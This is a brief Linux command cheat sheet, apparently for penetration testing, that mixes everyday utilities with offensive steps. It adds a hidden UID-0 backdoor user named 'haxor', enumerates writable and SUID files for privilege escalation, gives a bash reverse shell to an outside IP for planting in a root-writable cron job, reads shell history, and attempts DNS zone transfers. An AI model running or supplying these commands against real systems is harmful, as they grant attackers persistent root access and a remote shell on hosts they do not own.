Linux Commands

Take Screenshot Using scrot (apt-get install scrot):

  • scrot name-of-screenshot.png

Add root user:

  • useradd -ou 0 -g 0 haxor

Remove Duplicates in a file:

  • sort {file-name} | uniq

Open Directory GUI from command line:

  • xdg-open /root/Desktop

Count number of words (-w) or lines (-l) in file:

  • wc -w file.txt
  • wc -l file.txt

Kill Port Process:

  • fuser -k 8080/tcp

Fix Pathing issues with Linux hosts:

  • export PATH=/bin:$PATH
  • export PATH=/usr/bin:$PATH
  • export PATH=/sbin:$PATH
  • Combo: export PATH=/bin:$PATH && export PATH=/usr/bin:$PATH && export PATH=/sbin:$PATH

Search Recursively:

  • find . -print | grep -i ‘.*[.]php’
  • find . -name ‘test.txt’

Linux Enumeration for root write permission:

  • find / -perm -2 ! -type l -ls
  • find / -perm -2 ! -type l -ls>/dev/null
  • find / -writable 2>/dev/null
  • find / -type f \( -perm 6755 -o -perm 777 -o -perm 6777 \) 2>/dev/null

If you find a Cronjob with root writeable permission add the following to get a shell:

  • bash -i >& /dev/tcp/10.0.0.178/21 0>&1

Privilege Escalation Possibility:

  • sudo -s

See Previous Linux Commands Issued:

  • cat .bash_history
  • Difficulty Finding bash history file:  echo $HISTFILE

DNS Zone Transfer:

  • host -l <domain name> <dns server address>
  • dnsrecon -d website.com -t axfr
  • dnsenum website.com

IPTables to determine traffic amount from a command:

  • iptables -I INPUT 1 -s 10.11.1.5 -j ACCEPT
  • iptables -I OUTPUT 1 -d 10.11.1.5 -j ACCEPT
  • iptables -Z
  • nmap -sT 10.0.0.19
  • iptables -vn -L